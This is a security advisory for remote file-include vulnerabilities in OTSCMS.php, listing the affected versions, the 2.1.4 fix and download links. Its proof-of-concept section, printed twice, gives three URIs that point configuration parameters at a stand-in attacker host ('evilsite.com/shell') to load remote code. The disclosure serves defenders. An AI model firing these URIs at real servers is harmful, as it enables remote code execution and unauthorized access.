OTSCMS OTSCMS.PHP Multiple Remote File Include Vulnerabilities
BID:20694
Info
OTSCMS OTSCMS.PHP Multiple Remote File Include Vulnerabilities
| Bugtraq ID: | 20694 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 23 2006 12:00AM |
| Updated: | Oct 24 2006 11:33PM |
| Credit: | GregStar is credited with the discovery of these vulnerabilities. |
| Vulnerable: |
OTSCMS OTSCMS 2.1.3 OTSCMS OTSCMS 2.0 OTSCMS OTSCMS 1.4.1 OTSCMS OTSCMS 1.3 OTSCMS OTSCMS 1.0 |
| Not Vulnerable: |
OTSCMS OTSCMS 2.1.4 |
Discussion
OTSCMS OTSCMS.PHP Multiple Remote File Include Vulnerabilities
OTSCMS is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
A successful exploit of these issues allows an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.
These versions are vulnerable:
- 1.0.0 through 1.0.3
- 1.3.0 through 1.4.1
- 2.0.0 through 2.1.3.
Other versions may also be affected.
OTSCMS is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
A successful exploit of these issues allows an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.
These versions are vulnerable:
- 1.0.0 through 1.0.3
- 1.3.0 through 1.4.1
- 2.0.0 through 2.1.3.
Other versions may also be affected.
Exploit / POC
OTSCMS OTSCMS.PHP Multiple Remote File Include Vulnerabilities
Attackers can exploit this issue via a web client.
The following proof-of-concept URIs demonstrate these vulnerabilities:
http://www.example.com/[path]/OTSCMS.php?GLOBALS[config][directories][classes]=http://evilsite.com/shell?
http://www.example.com/[path]/OTSCMS.php?GLOBALS[config][otscms][directories][classes]=http://evilsite.com/shell?
http://www.example.com/[path]/OTSCMS.php?GLOBALS[config][otscms][directories][includes]=http://evilsite.com/shell?
Attackers can exploit this issue via a web client.
The following proof-of-concept URIs demonstrate these vulnerabilities:
http://www.example.com/[path]/OTSCMS.php?GLOBALS[config][directories][classes]=http://evilsite.com/shell?
http://www.example.com/[path]/OTSCMS.php?GLOBALS[config][otscms][directories][classes]=http://evilsite.com/shell?
http://www.example.com/[path]/OTSCMS.php?GLOBALS[config][otscms][directories][includes]=http://evilsite.com/shell?
Solution / Fix
OTSCMS OTSCMS.PHP Multiple Remote File Include Vulnerabilities
Solution:
The vendor released version 2.1.4 and a patch to address these issues; please see the references for details.
OTSCMS OTSCMS 1.0
OTSCMS OTSCMS 1.3
OTSCMS OTSCMS 1.4.1
OTSCMS OTSCMS 2.0
OTSCMS OTSCMS 2.1.3
Solution:
The vendor released version 2.1.4 and a patch to address these issues; please see the references for details.
OTSCMS OTSCMS 1.0
-
OTSCMS otscms-2.1.4-lite.tar.gz
http://prdownloads.sourceforge.net/otscms/otscms-2.1.4-lite.tar.gz
OTSCMS OTSCMS 1.3
-
OTSCMS otscms-2.1.4-lite.tar.gz
http://prdownloads.sourceforge.net/otscms/otscms-2.1.4-lite.tar.gz
OTSCMS OTSCMS 1.4.1
-
OTSCMS otscms-2.1.4-lite.tar.gz
http://prdownloads.sourceforge.net/otscms/otscms-2.1.4-lite.tar.gz
OTSCMS OTSCMS 2.0
-
OTSCMS otscms-2.1.4-lite.tar.gz
http://prdownloads.sourceforge.net/otscms/otscms-2.1.4-lite.tar.gz
OTSCMS OTSCMS 2.1.3
-
OTSCMS otscms-2.1.4-lite.tar.gz
http://prdownloads.sourceforge.net/otscms/otscms-2.1.4-lite.tar.gz